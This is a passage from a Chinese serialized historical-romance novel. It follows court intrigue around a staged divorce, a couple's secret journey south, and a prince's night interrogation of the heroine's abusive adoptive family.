他沉声下了结论:“殿下,我们恐怕是反被珩王与定宁侯算计了。”
李昀璟蹙眉,无声询问。
许清便将昨日的种种,和今天在御书房的对话,简短地告知李昀璟。
李昀璟听完,眉头却越皱越深,隐约透着不赞同:“许公的意思是,定宁侯舍了自己的孩子,来陷害你?”
“江氏没了孩子或许是意外,”许清没把话说死,“但其和珩王串通,当是事实,两人在御书房一唱一和,绝不仅仅是为了所谓的真相。”
他说着,面色越发凝重,又道:“若只是珩王和定宁侯串通,想针对老臣,问题尚不大,怕只怕……”
“什么?”
“这背后其实是皇上授意。”
许清之所以这般怀疑,是因为在李霁提出将此事交予他去办时,李彦成并未犹豫,直接应允了。
以他对李彦成的了解,前些日子,他才戳破了李霁和齐司延有私交的事,以李彦成多疑的心性,当不会将这样重要的事果断交给李霁。
而若这是李彦成授意,问题便严重了。
说明李彦成已经盯上了国公府,有意削弱国公府,那李霁的查案结果可想而知。
他的下场,便是第二个齐腾大将军。
李昀璟眸光一紧,忙出声问道:“许公可有应对之策?”
许清摸了摸胡子,一一同李昀璟分析道:“此事若只是珩王个人所为,老臣让许子枫认罪了便是,若是珩王同定宁侯串通,又或者背后有皇上授意,那便只需令皇上与其离心。”
一一分析完,他紧张的情绪缓和,透出几分势在必得来,眼底浮着一层狠厉之色,道:“殿下,我们只需戳破江氏的身世,让皇上知晓珩王对其有所隐瞒,便会与珩王彻底离心。”
“那岂不是送江氏去死?”李昀璟抿唇,“许公之前的意思,不是要留住她吗?”
“若不能为我们所用,何必留着?”
李昀璟不语。
他的心情很微妙,说不出来的失落。
母后离世得早,他其实对她本人的音容笑貌已经模糊了。
只是宫里有太多的赝品,加之东宫里留有母后的丹青,他方能记住其样貌。
印象里,母后总是病仄仄的,从来不快乐。
而他虽为太子,却感受不到父皇的重视与爱。
唯一的亲人好似只剩下了许清这个舅舅。
但舅舅也不让他唤“舅舅”。
在得知江元音不是另一个赝品,而是和他有血脉关系时,他其实有些难以言说的期待。
像是在茫茫雪地里独自走了很久,突然发现还有一个同伴。
许清这下终于察觉到李昀璟的不对劲,出声问道:“殿下莫不是对江氏动了恻隐之心?”
李昀璟别过头,生硬否认:“怎会?”
许清看着他,温声说教道:“成大事者要懂得取舍,她既没有选择殿下,殿下自当弃了她。”
李昀璟忽地抬眼,盯着许清,重声问道:“那许公呢?会不会有一天,孤也不再是许公的选择?”
许清跪地,“殿下乃老臣此生唯一的选择,老臣愿为殿下鞠躬尽瘁死而后已。”
“殿下若质疑老臣忠心,老臣愿以死明鉴。”
李昀璟没有出声,只是伸手扶了他一把。
有了珩王李霁的介入,不出一日,安国公庶子伙同江氏一家,散布谣言,诬陷定宁侯之妻江氏,致其小产的事,在百姓口中传得沸沸扬扬。
但就如同李霁主动请缨时所言一般,没人敢插手此事,朝中大臣竟都缄口不言,只暗中观察事态走向。
三日后。
齐司延入宫求见李彦成,奏请和离。
他和江元音是李彦成赐婚,没有李彦成的允许,是无法和离的。
李彦成一手搭在龙椅上,挑眉看着跪在自己面前的齐司延,似有些怀疑自己的耳朵一般,扬声确认道:“你说,你要朕恩准你与江氏和离?”
“是,”齐司延叩首,沉声道:“经郎中看诊,江氏日后难以再孕,为保我齐家后继有人,臣叩请皇上恩准。”
“难以再孕?”李彦成满眸探寻。
齐司延回道:“江氏一直脉象不稳,因此臣于七月曾入宫求请御医为其安胎,皇上可还记得?”
“朕记得。”
“江氏身子不太好,遭此意外,更是一蹶不振,卧床不起。”
李彦成转动大拇指上的白玉扳指,目不转睛地望着齐司延,玩味道:“可朕更记得,你当时为了江氏,扬言说,侯府不会再添新妇,更说其命格旺你,只有她稳坐侯府主母的位置,才能兴旺侯府,保你安康顺遂,你这些话朕还言犹在耳,怎地,江氏现在不能再孕,你便不信命理玄妙之术了?”
李彦成说着,稍稍倾身向前,又意味深长道:“江氏小产乃是意外,她尚年轻,一个郎中诊断做不得数,朕再派几个医术精湛的御医随你去侯府,好好给她调理身子便是。”
“便是真的调理不好,你大可纳妾生子,何必和离啊?”
“你不是同她甚是恩爱么?”
他觉得古怪得很。
不能生育的确是大问题,可先前齐司延表现得非她不可,他提和离太违和。
面对李彦成的连番质问,齐司延长叹了一口气,“皇上有所不知,想和离的,不是臣。”
“哦?”李彦成饶有兴致,“难不成是那江氏?”
“正是,”齐司延直起身,叹息道出备好的说辞:“江氏被家人造谣诬陷,本就伤了心神,意外失去了孩子,得知不能再孕后,大受打击,精神恍惚。”
“她本身便是心细敏感之人,自责其家人毁败侯府名声,在得知无法再孕后,成日以泪洗面,将自己贬至尘埃,求臣与她和离。”
“臣已劝了整整两日,可她毫无好转,甚至以死相逼。”
“臣实在没有法子,才入宫奏请。”
“臣别无他想,只盼她好好活着。”
齐司延抬眼,迎上李彦成质疑的目光,墨眸闪烁,悲痛难当。
李彦成直直看着他,见他眼下一片乌黑,形容憔悴,脑海里在权衡利弊。
这样听起来,江氏要与之和离倒是也能理解。
虽然觉得有些古怪,但齐司延若是与江氏和离了,他便能依照之前的计划,再为其娶妻,将新的人手,安排进侯府了。
思及此,李彦成觉得他俩真正要和离的原因是什么,也不太重要。
反正,他正嫌那江氏占了侯门主母的位置,不便他行事。
一番沉默后,李彦成停下了转动白玉扳指的手,感慨出声:“遭此意外,也是你们缘分尽了,她既以死相逼,你强留她在侯府,不日终成怨偶。”
他接着铺垫道:“你如今身子已然痊愈,又重归朝堂,侯府冷冷清清的的确不适合,和离既是她所求,也是你心愿,朕便应允了你们和离。”
齐司延俯身叩首:“谢陛下恩准,臣感激不尽。”
语罢,他再次抬首,并没有要告退的意思,又开口道:“皇上,臣还有一事请奏。”
李彦成向后靠坐在龙椅上,重新转动白玉扳指,“何事啊?”
齐司延敛去刚刚谈及和离之事的伤痛疲惫,郑重道:“皇上,臣自接手修缮崇光院来,库部郎中迟迟未拨款,臣经调查后发现……”
他故意收了声,欲言又止。
李彦成眸色深了深,“发现什么?”
齐司延稍作犹疑,深呼吸后,仿若下定了决心,重声道:“管理银库的库部郎中,将这笔钱,悉数拨给了去抚州赈灾的钦差大臣,国公府的嫡三子,许昌安。”
李彦成眼角眉梢里,终于透出些难以掩饰的笑意。
他挑眉看向齐司延,将所有的欣喜,全部伪装成凝重和惊讶,沉声问道:“此话当真?”
在齐司延接手此事时,他便一直在等这句话。
“臣万不敢拿国公府开玩笑,”齐司延再次俯身重重叩首,“臣愿启程南下,前往抚州调查此事,若有半点冤枉抹黑了国公府之处,臣任凭皇上处置!”
如此,他便能陪阿音南下了。
第160章 多唤两声夫君
江元音早就收拾妥当了一切,傍晚时,估摸着时间点,备了一桌菜等齐司延回来。
一听到他回来的动静,她立即起身迎上去,期盼地问:“办成了?”
齐司延将她的神色尽收眼底,略有不爽的轻“嗯”。
不开心看见她对此的期盼。
又不忍心见她扫兴失落。
江元音彻底地安了心,眉眼飞扬地拉着他往屋里走。
齐司延往里迈了两步,远远望了眼餐桌,随后驻足不走了。
江元音疑惑看他:“侯爷?”
齐司延垂眼看着江元音,“阿音这是又有甚主意想法了?”
桌上的菜只稍一眼,便能看出出自面前这位大厨。
她上一回做一桌菜,为的是让他答应与她假和离。
不知她这回又萌生了什么念想。
难不成是不让他同她一道回江南了?
光想想都心梗。
“哪有,”江元音否认,看破他心中所想的解释道:“只是庆祝一切顺利,尘埃落定。”
齐司延无声看她,仍心有余悸。
江元音对安抚他的情绪已经驾轻就熟,继续莞尔道:“上回没能让侯爷尝到妾身的手艺,妾身很是遗憾,今日下厨,只是为了弥补妾身的遗憾,还请侯爷赏脸品鉴。”
她这番话,可是给足了他面子的“哄”他。
上一回她下厨,两人不欢而散,他一口未尝。
遗憾的,一定是他。
这时曲休好心的出口解释道:“夫人不必遗憾,那日夫人的手艺,侯爷是尝、尝……”
话说到一半,被齐司延目光一扫,他后背发凉,字不成句了。
曲休止了声,一脸不解加无辜。
他这都是为了让夫人开心,不让两人之间有误会么?
哪错了?
侯爷怎地生他气啊?
江元音倒是来了兴致,侧头确认问他:“那日侯爷何时尝了我做的菜?”
她记得他甩袖气走了,她也没了胃口,便让雪燕、清秋收拾了。
后来她煮了面条去书房哄他,他也不肯吃呢。
曲休瞅瞅齐司延,为难不语。
江元音不为难曲休,仰头望着齐司延,“还请侯爷替妾身解惑。”
齐司延只是看向曲休,神色不善地屏退:“下去吧。”
“是,侯爷。”曲休应声,退下去前,不忘可怜巴巴向江元音投去求助的目光。
……夫人救我!
江元音会意颔首,也屏退了雪燕、清秋。
三人退下,贴心地关上门,留给夫妇二人独处的空间。
齐司延硬邦邦地杵在那,侧着头,也不看她。
江元音轻柔地唤道:“夫君何时尝了妾身做的菜?”
齐司延听着这句“夫君”,放弃抵抗的回:“……你离开书房后。”
江元音讶然挑眉:“可雪燕、清秋不是把剩菜收拾了吗?”
齐司延神色未有起伏,唯有耳廓微微泛红。
那日两人不欢而散后,剩下满桌的菜,好在雪燕、清秋没舍得浪费,收进了后厨,留给了晚上守院门的家丁,待他们后半夜困饿时,填填肚子。
他算是抢了守夜家丁的食粮,说出来多少有些跌份。
齐司延不愿细说,含糊带过:“总之那日我尝了阿音的手艺,也应允了阿音,没有白尝。”
“阿音手艺很好,”他把话题的重点拉了回来:“就是不知这顿饭的代价我是否付得起。”
江元音嗔了他一眼,“都说了只是为了庆祝一切顺利,尘埃落定,侯爷不想吃便算了,我下回也不做了。”
她不再强求地松开他,兀自落座。
齐司延沉了沉脸,随即望着她,不满道:“阿音对我,未免欠缺了些耐心。”
每回好话说不到三两句,他若不应了她,她反而说上气话了。
这“夫君”才唤了一句,就不唤了?
江元音抬眸看他,笑吟吟地问:“那侯爷吃不吃呢?”
齐司延认命地叹了口气,在她身侧落座,自己搭好台阶下了:“阿音厨艺精湛,为夫自不会错过一饱口福的机会。”
她不唤“夫君”,他可以自称“为夫”。
江元音笑笑,如上次一般一一为其介绍餐桌上的菜。
她每介绍一道,他便尝一口,再认真点评,一顿饭两人吃得其乐融融。
待吃得差不多了,两人停了筷,江元音方才询问他入宫请奏和离的情况。
齐司延简要的复述了一遍。
在李彦成答应他的主动请缨后,他才开口提议,让李彦成先不要透露其已恩准他和江元音和离之事。
他将打着送江元音南下寻医散心的幌子,暗地探查许昌安贪污库银一事,免得惊扰许清。
隐瞒的确是怕惊扰许清,但不仅仅是怕其知晓他要去查其嫡三子贪污库银一事,而是为了让江元音安全离开汴京。
他明面上是去抚州查案,暗地里再和江元音去岚州安家。
因为已经“和离”,届时他再只身一人回到汴京,李彦成也不会过问江元音的行踪。
齐司延沉声道:“明日我们便启程南下。”
江元音颔首,犹豫了下,还是出声问道:“侯爷,当真舍得?”
便是他父母早逝,这侯府当是存储着他父母过往,以及他同父母相处的回忆的地方吧。
齐司延轻“嗯”了声,试图消散她心中的愧疚,温声道:“父亲、母亲当在我的心中、脑海,而不该在一座府邸里。”
他这话几分宽慰,几分真心,“这侯府是父亲、母亲大胜胡人归来后,受封赏赐的,若要按待的时间,其实父亲、母亲也甚少待在侯府。”
“何况我又不是不回侯府了。”
江元音心底一片温热,动容看他。
齐司延不忘抓住这个机会,讨要承诺:“阿音若是觉得亏欠了我,余生可要待我好些,不要负我。”
“我如何待侯爷不好了?”江元音不服地瞟了眼餐桌,“我为侯爷熬药、缝制香囊、下厨做菜,还待侯爷不好?”
齐司延眼神幽怨,理直气壮道:“……可你对我没有耐心。”
江元音认真求教道:“那要如何才算是对侯爷有耐心?”
“比如……”齐司延清了清嗓子,“下回试着多唤两声‘夫君’?”
江元音反应过来,从善如流地回应道:“好的,夫君。”
齐司延唇角微扬,眼角眉梢都透着满足。
说完了正事,江元音没忘记曲休退下时求助的眼神,继续发力道:“若不是曲休,我还不知夫君如此珍视我的心意,夫君得多谢曲休。”
“……好。”
两人腻歪了一阵,齐司延去了书房。
他要启程南下,汴京内有很多事要部署交代。
而江元音唤雪燕召集了她自江家带来的仆妇们。
齐司延此番陪她南下,最多待个三两月,便会回京。
侯府的奴仆她自不会动,但这些她从江家带来的,她决定给她们一次选择的机会。
江元音坐在主位,雪燕端了个木盘,上面放着数袋银钱,而清秋手中则拿着一叠卖身契。
江元音道:“我此番南下,一切都没有定数,我与你们主仆一场也是缘分,今日给你们一个选择的机会,你们可以随我南下,或留在侯府,也可以拿了卖身契,另谋出路。”
“若是决意另谋出路,”她抬手指了指雪雁手中的木盘,“这些盘缠,算我的一点心意。”
仆妇们面面相觑,心思各异。
有人盯着那一袋袋银钱和卖身契,觉得这简直是天上掉馅饼的好事。
一番蠢蠢欲动后,鼓起勇气开了口:“夫人,小的想出去看看……”
江元音没有一句阻拦的话,示意清秋找出其卖身契,又示意雪燕拿一袋银子给她。
有人带了头,其余犹豫的人见其真的轻轻松松拿到了卖身契和一袋银钱,纷纷上前。
很快,江元音面前只剩下两个嬷嬷。
她平静望着两人,静待其选择。
一个嬷嬷道:“夫人,老奴年纪大了,不想再颠簸折腾,老奴……想留在侯府。”
另一嬷嬷随之表态:“老奴也是。”
江元音点头:“好,我会将你们的卖身契交予侯府管事,日后你们安心留在侯府便是。”
清秋将二人的卖身契整理出来,却发现手中还留有一张。
她认识的字并不多,但一眼便瞟到认出了自己的名字。
她眸光闪烁地询问江元音:“夫人,这是我的卖身契?”
“嗯,”江元音真心实意道:“你在汴京长大,去了南方未必适应,清秋,你今年不过十六岁,想不想出去看看?”
她补了句:“你若要走,我会替你另备盘缠。”
清秋这半年尽心尽力,忠心耿耿地侍候她,她会为其备一份更厚重的盘缠。
清秋霎时红了眼,却不是感动,而是委屈:“夫人不要清秋了?”
她哽咽道:“是清秋做错了什么?清秋哪里做得不好?”
江元音摇头,“因为你做得很好,才交由你自己选择。”
留在侯府,其实生死难料,一旦将来齐司延复仇失败,侯府不会有活口。
而随她去岚州,一切亦是未知的。
最好的选择,其实是恢复自由身。
但这些她没法点明。
清秋理解不了,也萌生了质疑,抬眼瞅了雪燕好几眼,愈发委屈道:“那为何雪燕不用做这个选择?”
她吸了吸鼻子,眼泪珠子往下掉,说出了心里堆积了很久的话:“我晓得雪燕同夫人,是一起长大的主仆情谊,我在夫人心中,定比不上雪燕有份量,我、我也没想同雪燕争。”
“但我以为只要我多做些,再过个三五载,在夫人心里,我也能和雪燕一样重要。”
“可……夫人却不要我了……”
“笨蛋,瞎吃味!”雪燕放下手中的木盘,没好气地戳了戳清秋的脑袋,道:“当初夫人出嫁,离开江家时便问过我类似的问题了,我不是不用做这个选择,我是比你早做了选择!”
“真、真的?”
“当然啦,”雪燕抬手帮她抹眼泪,道:“那你就留下来,正好你最最勤快,也方便我偷懒咯。”
清秋期盼看向江元音,“清秋不想去外面看看,清秋只想和雪燕一起留在夫人身边,可以吗?”
江元音颔首:“好。”
第161章 我们还会再见面
次日。
江元音同齐司延低调上路。
她早就将自己的嫁妆妥善处置好了,不喜欢的早就变卖了,而为了不引人注意,剩下的雇了镖局,提前了两天护送出城了。
她自身携带的行李并不多,同镖局走得不是一条路线。
如此兵分两路,万一有人盯着,也能起到迷惑的作用。
马车启程时,江元音掀开车帘,看向侯府。
犹记得八个月前,她离开江家时,没有回头看一眼。
可此时此刻,她百感交集。
原来真正舍不得的人,是她。
齐司延握住了她的手,“如果有一天你想回来,我们再一起回来。”
江元音放下了车帘,笑着回握住了他的手。
她早就不是八个月前,要独自面对一切未知的人了。
马车摇晃着,这一次,她终于要前往她上辈子渴求的自由。
待出了汴京,原本闭目小憩的齐司延睁眼,冷不丁的对江元音道:“阿音,出了汴京了。”
江元音只当他是随口提醒一句,于是敷衍的应了声:“是呢。”
齐司延定定地望着她,又重复了遍:“阿音,出了汴京了。”
“我知道了,”江元音抬眼看他,问道:“侯爷是渴了还是饿了?”
齐司延摇头,执着地又重复了一遍:“我们已经出了汴京了。”
江元音眨巴眼,一头雾水:“侯爷有话不妨直说。”
……他到底在别扭些什么,不能直说?
齐司延沉默片刻,才沉声提醒道:“阿音可是忘了,先前曾说,只要出了汴京,就与封弋分道扬镳?”
江元音无语凝噎,只能在心中腹诽。
他未免太在意封弋,如此记挂封弋,心眼堪比针眼。
齐司延不满江元音的沉默,墨眸幽深,声音很轻地问:“阿音先前是骗我的?”
“怎会?”江元音扯了扯唇角,语气极好地委婉道:“侯爷,我们是出了汴京了,但现下还在郊区赶路,不如等到入了下一座城再说?”
刚出城便“赶人”,未免太过。
齐司延不以为然,半点没不好意思道:“赶了一个时辰路,也该休息了。”
他挑眉,又道:“他这种武林人士,来无影去无踪,最喜藏匿于山野,他未必会想入下一座城吧。”
语罢,他真的示意车夫停车,原地歇息。
江元音无语叹息。
她本就没要强留封弋在身边,只是希望他不要去当李承烨的利刃罢了。
齐司延说得也不无道理,或许封弋并不想去下一座城,她去问问他吧。
反正她已经救下了封弋,又同他一起离开汴京了,他没有理由会再去泉郡了。
江元音唤雪燕去拿些银钱,刚开口便被齐司延阻止了,下巴轻点曲休:“阿音不必破费,我已经备好了,我同你一道去与他道别。”
曲休立马掏出一袋银子,掂了掂,“夫人放心,沉着呢。”
江元音再次感慨了遍齐司延的心眼,见识过他的执着,也就随他去了。
下了马车,环视了下四周,才看到环臂,倚靠着一颗大树站立的封弋。
她同齐司延抬步迈过去。
封弋沉默看她走近,无声询问:有事?
天下无不散之筵席,江元音不卖关子,直接开口道:“我们已经出了汴京了,封弋,我们的交易完成了,你自由了,用不着再跟着我了。”
齐司延看似自然,实则特意的揽着江元音,噙着浅淡的笑,淡声道:“这些日子,辛苦封少侠保护我夫人。”
他掏出那一袋银钱递过去,“小小心意,还望封少侠笑纳,日后天高海阔,祝封少侠自在无拘。”
封弋一如既往地懒得看齐司延,只是望着江元音,问:“只是离开汴京?”
江元音习惯了他的说话方式,会意地点点头:“只是离家汴京。”
她从齐司延手中拿过那袋银钱,递给封弋:“我不知道你打算去哪,做什么,但去哪都需要银钱,这些你拿着应应急吧。”
她和封弋认识一个月了,除了心性和说话方式,对他的其余信息知之甚少,并不比前世多。
她在玄渺峰山下“捡”到他时,他身上除了伤,什么都没有。
别说银钱了,这么久了,她甚至没看过他有武器。
他不是运功用掌,便是就地取材,比如那次伤那跟踪她人的树枝,和废了江正耀双腿的石子。
他是有一身武艺,但也得吃饭吧?
封弋依旧没伸手接,他一脸沉静地望着江元音,道:“交易没有完成。”
江元音神色古怪看他。
封弋沉声点破:“你救下我那天,要离开的不是汴京。”
江元音呼吸一滞,惊诧于封弋的洞察力。
他不言不语,竟将一切都看得分明?
她救下他的那一天,想离开的的确不是汴京,而是齐司延。
封弋又说:“你救了我一命,等你真的想离开了,交易依旧作数。”
一旁被无视的齐司延,眸光冷了冷。
封弋说话,算不上清晰明了,但他多少能分析推测出话语里的意思。
他下意识地收紧了手,将江元音揽得更紧。
“江元音,”封弋难得的唤了一次她的名字,透着些郑重,他说道:“我们还会再见面。”
语罢,不待江元音回应,也依旧不看齐司延一眼,抬步离开。
他走得突兀又果断,没有半分不舍,却留下这耐人寻味的话。
感受到身边男人的气压降了降,江元音在心中默默感慨,若非知晓封弋是直来直
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往的脾气,她都要怀疑,他是不是跟李霁一样,就爱故意惹恼齐司延。
齐司延侧头,明知故问道:“阿音真的想离开的是什么?”
江元音心虚笑笑:“此一时彼一时,反正我现在想离开的就是汴京。”
她把封弋不屑一顾的那袋银钱又塞回齐司延手里,转移了话题:“我有些渴了,回马车喝水去了。”
说完,步伐坚定地迈向马车。
总而言之,绝不往封弋离开的方向多看一眼,不然可以想见,接下来的路程,要哄齐司延这个醋坛子多久。
反而是齐司延留在了原地,注目望着封弋潇洒的背影。
他将手中的银袋扔给了曲休,若有所思道:“他倒是挺警觉。”
他手中这一袋子银两,全部是做过记号的,若封弋收了,只要花了这银两,便会留下踪迹。
齐司延沉声吩咐曲休:“想点办法,别跟丢了。”
“是,侯爷。”
与此同时,汴京。
听闻李彦成特许了齐司延休沐几日,在府中陪江元音。
知晓此事的大臣,明面上感慨李彦成对齐司延,那是圣眷正浓,毕竟大昭从未有过允许官员休沐陪小产妻子的先例。
但大家心里都有数,这恰恰说明,齐司延的官职在朝中无足轻重。
众人只道皇上明宠实则冷落,定宁侯府怕是难回昔日的荣耀。
许清神经紧绷,一直关注着李霁那边的走向。
在探明白彻查许子枫、江家三口与齐婧涵到底是谁的主意前,他不敢轻举妄动,怕打草惊蛇。
然而连着盯了几日,都不见李霁有任何举动。
探子来报,李霁不是琴坊听曲,便是游湖作乐,没有半点作为,甚至连刑部都没去。
许清迷糊了,摸不清楚李霁到底唱得哪一出,反而越发的寝食难安。
就这样过了七日。
这日夜里,镜湖上,李霁的船舫依旧是歌舞升平,琴瑟与笑声不断。
众人都道,珩王怕是要饮酒作乐到天明。
事实上,李霁本人却不在船舫里。
离喧嚣热闹船舫甚远的湖面,飘荡着一只小舟。
李霁仰躺在小舟上,晒着月光,拿着折扇盖住脸,悠哉的睡了一觉。
直至随侍乘坐另一只小舟靠近,恭声唤道:“王爷,该醒了。”
李霁没有动弹,含糊应了声:“什么时辰了?”
“回王爷,子时了。”
先前李霁便吩咐叮嘱了,子时唤他醒来。
李霁这才拿掉了盖住脸的折扇,伸了个懒腰坐起身来。
他在月色下缓了缓神,执扇扇了扇,道:“行,上岸,去刑部。”
已过了七八日,齐司延同江元音当离汴京有些距离了。
声东击西唱到今夜也该结束了。
第162章 皇叔给侄女出气
子时,刑部。
审讯室。
李霁坐在椅子上,看着跪坐在地上,瑟瑟发抖的齐婧涵。
他没什么多余的表情,既不凶神恶煞,也没摆出要严刑逼供的狠厉,仿佛只是随便出了趟门,见了个路人甲乙丙丁般的平静。
他把玩着手中的折扇,不与其浪费时间地开了口:“在供词上签字画押,本王给你一笔钱,送你离开汴京。”
齐婧涵怀疑自己的耳朵,双手颤抖着从李霁随侍手中接过供词。
本以为会看到各种匪夷所思,与真相毫不相关的供词。
但看完后发现,上面所述,竟句句都是真相。
她越发怀疑自己的耳朵,难以置信地仰头看向李霁,颤声道:“王爷为何要救我?”
这份供词没有添油加醋,她要是供认不讳,根本出不了刑部。
而且她指认了许子枫……国公府不会放过她。
李霁却说,送她离开汴京。
“本王可不会救你,”李霁笑着否认,委婉的点拨暗示了一句,“那钱也不是本王要给你的。”
“你做了你该做的事,别人就不会食言。”
齐婧涵脑海里浮现了江元音的脸,想起她在东南巷弄和自己说的话。
——“我不需要你编造谎言,你只需站出来如实以告,我可以给你一笔钱,送你离开汴京,保你此生无忧。”
她不可思议地询问李霁:“是江元音救了我?”
这怎么可能?
江元音怎么可能救她?!
珩王怎么会帮江元音救她?!
李霁不置可否,懒得同她多费唇舌,平静的面色透出几分不耐来,折扇点了点她手中的供词,声音冷了冷:“你签不签?”
他就等了她几瞬便耐心告罄,给随侍使了个眼色,示意其将她继续扔回牢里去。
可齐婧涵见状却吓破了胆,以为李霁要随侍对她用刑,连声道:“我签,我签!我这就签……”
她慌乱地伸手往供词上一阵按。
随**朱砂印泥踢过去,嫌弃提醒道:“你那样按不了手印。”
齐婧涵生怕要遭酷刑,极其配合。
签字画押下,战战兢兢地跪着等候发落。
李霁却一个字都懒得同她说,挥挥折扇,示意随**她带下去。
紧接着,江家三口被带到了审讯室。
李霁如法炮制,让随侍递上供词。
供词上写得清楚明白,他们是受国公府庶子,许子枫指使,传播谣言,陷害自己的女儿。
陈蓉神情恍惚,抱着江正耀的脑袋,母子俩蜷缩在一起。
江兴德看完供词,却迟迟不肯签,他跪地望着坐在椅子上的李霁,试探地问:“敢问王爷,若草民签了这供词,有何下场?”
从始至终,他都没和国公爷有过接触。
是许子枫寻上了他,让他去寻人放谣。
可许子枫言语中都透出来了,这是国公爷许清的意思。
手中这份供词虽通篇都是指证许子枫,没有牵扯出国公爷的。
但国公爷不可能不管他的儿子吧?
他招供了,珩王爷能保他平安吗?
李霁回道:“那自然是按照大昭的律法,依法处置。”
他轻声道:“散布谣言,构陷重臣公侯夫人,致其小产,你们不死也要被流放。”
被陈蓉保住脑袋的江正耀率先出声大喊:“我不要被流放,父亲,你去喊江元音救我们,她不是和你感情最好,最听你的话吗?你去……”
“闭嘴!”
江兴德喝止他,怒视陈蓉,示意其管好江正耀,不要随便开口。
可早就神志不清的陈蓉,大部分时候连他说话都听不懂,更别说眼神暗示了。
她只是把躁动的江正耀抱得更紧,像哄襁褓中的婴儿一般,喃喃道:“耀儿乖,阿母在,耀儿不怕。”
江正耀双腿不能动,想推开陈蓉都乏力。
李霁手肘撑在扶手上,拿折扇抵着自己的太阳穴,听到这忽然笑了,冲江兴德道:“你女儿这么听你话,你这个当父亲的,为何要害她?”
“王爷明鉴,草民没有害她,”江兴德咬死道:“草民说的都是真的!”
“你请的那些个散谣的可都招了,”李霁轻扫墙壁上悬挂的刑具,意味深长道:“你这么嘴硬,也想试试?”
“王、王爷……”江兴德直哆嗦,“王爷不能严刑逼供啊……”
李霁目光在江兴德和陈蓉面前来回,道:“为人父母,对孩子这般心狠手辣,本王今夜便是不审讯,也要为无辜的女儿出口恶气。”
这是实话。
他把这一家三口领到刑讯室,可不仅仅是为了让他们签字画押。
这时陈蓉忽然大喊大叫道:“她不是我女儿,我女儿是云裳,江元音只是一个弃婴!”
“一个没人要的弃婴,我们不捡起她,她早就**!”
“我恨不得在捡到她的时候,就掐死她!”
江正耀懵怔了下,反应过来陈蓉话里的意思后,随即激动起来:“江元音不是我阿姐,那她没有资格当什么侯夫人,王爷应该把她这个骗子一起抓起来!”
他回忆起这两次见面,江元音那趾高气昂的样子,便恨得牙痒痒。
从前在他跟前伏小做低的人,凭什么以为当了侯夫人后,就跟东宫里的那些世家子弟一样,不将他放在眼里。
这定宁侯夫人的位置分明是他云裳阿姐的!
若嫁给侯爷的是他阿姐,他们一家就不会遭此欺凌!
江正耀见不得江元音好过,如果他们三口都要处死或流放,凭什么让她高枕无忧地当侯夫人?
他们要是死,也得拉她一起陪葬!
江兴德要捂嘴母子俩已经来不及,颤颤巍巍冲李霁解释道:“草民妻子得癔症已久,经常胡言乱语,做不得真,犬子是气愤其腿被亲姐所废,所以口不择言,王爷万不要当真啊!”
两个蠢货!
先前还只是造谣生事,“害”的人是江元音,或许还有活命的机会。
现在他们捅破江元音的身世,他们犯得是欺君之罪,那是要被灭门的!
他并不想江元音好过,但不想和她一起死!
李霁放下撑头的手,“原来你一家犯的是欺君之罪啊。”
江兴德急中生智,猛地叩首,求道:“王爷,草民愿供出幕后主使,求王爷网开一面,放过我一家!”
入狱近十天,连许子枫都还老老实实待在狱中。
国公府怕是指望不上了。<
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br>“哦?”李霁明知故问道:“你幕后主使不是许子枫?”
“不是!”江兴德选择倒向李霁求救,“幕后主使乃安国公!”
他急声示好道:“草民愿指认安国公,为王爷排忧解难!”
从那日在国公府门前的对质来看,这珩王和国公爷当是互相看不顺眼。
既然国公爷靠不住,他选择投靠珩王爷。
李霁道:“行,那你便一五一十地招供,本王看看你的诚意。”
他说完给了随侍一个眼神。
随即给江兴德地上纸笔。
江兴德把许子枫打过国公爷旗号的事,一五一十地招了。
写好供词,签字画押,恭恭敬敬地双手呈上。
随侍接过供词递给李霁。
江兴德谄媚表态:“王爷放心,若要公堂对薄草民也绝不出岔子,王爷想让草民怎么说,吩咐便是。”
李霁看完供词后,冷笑道:“你这种墙头草,本王可不敢用。”
李霁收下签字画押的供词起身,扫了眼墙壁上挂得满满当当的刑具,吩咐随侍:“你随意,别弄死就成。”
“是,王爷。”
江兴德大惊失色:“王爷,草民什么都招了,什么都可以招,王爷为何还要对草民用刑?”
李霁给了他一个正脸,笑了笑,道:“你误会了,给你用刑不是让你招供什么。”
见江兴德困惑害怕得发抖,他不吝啬地告诉他答案:“都说了,本王要给你那被欺负的‘女儿’出一口恶气。”
从他们刚刚的话语便能想见,江元音这十多载在江家过得是什么日子。
他这个皇叔早就说了,会帮她出气的。
今夜便是兑现承诺的时候。
李霁说完,对江家三口凄厉的求饶声,置若罔闻,展扇遮脸,悠哉地打了个哈欠,冲随侍道:“本王困乏得紧,你好生办事。”
说吧,闲庭信步地转身离开。
半夜,李霁坐上停在刑部正门的红木马车,高调张扬地离开。
窄巷里,停着另一辆低调不起眼的马车。
车上坐着的人,正是许清。
他今夜刚入睡不久,得知玩乐一阵的李霁动身去了刑部,立马起床赶来。
心腹随从低声道:“国公爷,珩王审讯了江家三口、齐氏,并未审讯四公子,现已离开刑部了。”
许清面色沉重,半晌不语。
这个李霁,到底想做什么?
宽敞的红木马车上,李霁半躺着,满脸困倦。
有随侍不解问道:“王爷何不白日里过来?”
其实他觉得,王爷甚至没必要来。
原本以为王爷是为了审讯许子枫而来,没想到王爷压根没问许子枫一句。
如果只是为了让齐婧涵、江家三口,对那些动摇不到安国公,只是指证许子枫的供词签字画押,根本不需要王爷出面的。
“你懂什么?”李霁挑眉,“不半夜来怎么折腾许老头?”
他上半夜可特意在湖面小舟补了觉的。
而且他白天没甚事,那许老头可有得是公务要忙呢。
何况他就是要让他摸不着头脑,为齐司延和江元音拖出足够的时间。
随侍:……
得罪谁也千万别得罪他家王爷!
第163章 她为他心动
江元音和齐司延已赶了半个月的路。
临近傍晚,齐司延掀开车帘望了望,源城的城门已隐约可见。
他放下车帘,冲江元音道:“马上要到源城,待会入了城,我便让曲休再去买一辆马车,今晚将行李挪一挪。”
江元音不解问道:“为何要再买一辆马车?”
齐司延回道:“今晚我们歇在源城,明日再出发便要进入抚州地界。”
抚州下辖六县,出了源城便会进入抚州下辖的小县。
他继续说道:“不管有没有人在盯着我们的马车,谨慎起见,明日我会让曲休领几人,乘坐我们现在的马车继续前往抚州。”
“然后,我同你在源城休息一日,乘坐新的马车去岚州。”
在李彦成眼里,放他低调出汴京,是让他去抚州查许昌安**库银一案,可不是真的放他陪江元音南下散心的。
“他”当然要目的明确地往抚州去。
由曲休装成他,前往抚州,是为了谨慎躲过李彦成的耳目,也不让其发现,江元音去了岚州。
